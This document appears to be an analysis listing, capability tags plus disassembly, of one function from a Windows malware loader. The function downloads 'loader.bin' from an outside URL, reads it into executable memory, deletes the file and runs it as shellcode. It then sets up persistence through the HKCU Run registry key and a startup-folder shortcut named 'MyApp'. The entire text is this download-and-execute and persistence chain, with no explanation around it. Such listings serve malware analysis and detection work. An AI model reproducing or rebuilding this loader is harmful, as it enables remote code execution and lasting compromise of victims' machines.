Function at 0x140001ae0
Capabilities:
Allocate or change rwx memory
Create shortcut via ishelllink
Delete file
Download url
Execute shellcode via indirect call
Get common file path
Get file size
Get startup folder
Persist via run registry key
Read file on windows
Receive data
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x690
mov rax, qword [0x140026040]
xor rax, rsp
mov qword [rsp + 0x680], rax
mov r8d, 0x104
lea rdx, [rsp + 0x50]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xor r9d, r9d
mov qword [rsp + 0x20], 0
lea r8, str.temp.bin
xor ecx, ecx
lea rdx, str.https:__test.smartschooll.nl_loader.bin
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
test eax, eax
je 0x140001b55
mov edx, eax
lea rcx, str.Error_downloading_file:__08lx_n
call fcn.140001010
jmp 0x140001e59
xor r9d, r9d
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
lea rcx, str.temp.bin
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x140001ba9
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Error_opening_file:__d_n
call fcn.140001010
jmp 0x140001e59
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
cmp eax, 0xffffffff
jne 0x140001bd4
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Error_getting_file_size:__d_n
call fcn.140001010
jmp 0x140001e50
mov r9d, 4
mov r8d, 0x3000
mov rdx, rdi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
test rax, rax
jne 0x140001c04
lea rcx, str.Error_allocating_memory_n
call fcn.140001010
jmp 0x140001e50
lea r9, [rsp + 0x40]
mov qword [rsp + 0x20], 0
mov r8d, edi
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140001e2b
cmp dword [rsp + 0x40], edi
jne 0x140001e2b
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.temp.bin
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, rdi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
jne 0x140001c8a
lea rcx, str.Error_allocating_memory_for_shellcode_n
call fcn.140001010
xor edx, edx
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x140001e59
mov r8, rdi
mov rdx, rsi
mov rcx, rbx
call fcn.1400189c0
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
call rbx
xor edx, edx
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
lea rax, [rsp + 0x40]
mov r9d, 2
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
lea rcx, [rsp + 0x50]
mov rax, 0xffffffffffffffff
nop word [rax + rax]
cmp word [rcx + rax*2 + 2], 0
lea rax, [rax + 1]
jne 0x140001d00
mov rcx, qword [rsp + 0x40]
lea eax, [rax*2 + 2]
mov dword [rsp + 0x28], eax
lea rdx, str.MyApp
lea rax, [rsp + 0x50]
mov r9d, 1
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor r9d, r9d
lea rax, [rsp + 0x260]
xor r8d, r8d
mov qword [rsp + 0x20], rax
xor ecx, ecx
lea edx, [r9 + 7]
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
js 0x140001e1d
lea r8, str.MyApp.lnk
lea rdx, [rsp + 0x260]
lea rcx, [rsp + 0x470]
call qword [sym.imp.SHLWAPI.dll_PathCombineW]
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitialize]
xor edx, edx
lea rax, [rsp + 0x40]
lea r9, [0x14001a3f0]
mov qword [rsp + 0x20], rax
lea rcx, [0x14001a410]
lea r8d, [rdx + 1]
call qword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x140001e17
mov rcx, qword [rsp + 0x40]
lea rdx, [rsp + 0x50]
mov rax, qword [rcx]
call qword [rax + 0xa0]
mov rcx, qword [rsp + 0x40]
lea r8, [rsp + 0x48]
lea rdx, [0x14001a400]
mov rax, qword [rcx]
call qword [rax]
test eax, eax
js 0x140001e0c
mov rcx, qword [rsp + 0x48]
lea rdx, [rsp + 0x470]
mov r8d, 1
mov rax, qword [rcx]
call qword [rax + 0x30]
mov rcx, qword [rsp + 0x48]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rsp + 0x40]
mov rax, qword [rcx]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
lea rcx, [rsp + 0x50]
call fcn.1400010f0
xor eax, eax
jmp 0x140001e60
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Error_reading_file:__d_n
call fcn.140001010
xor edx, edx
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x680]
xor rcx, rsp
call fcn.140002030
lea r11, [rsp + 0x690]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret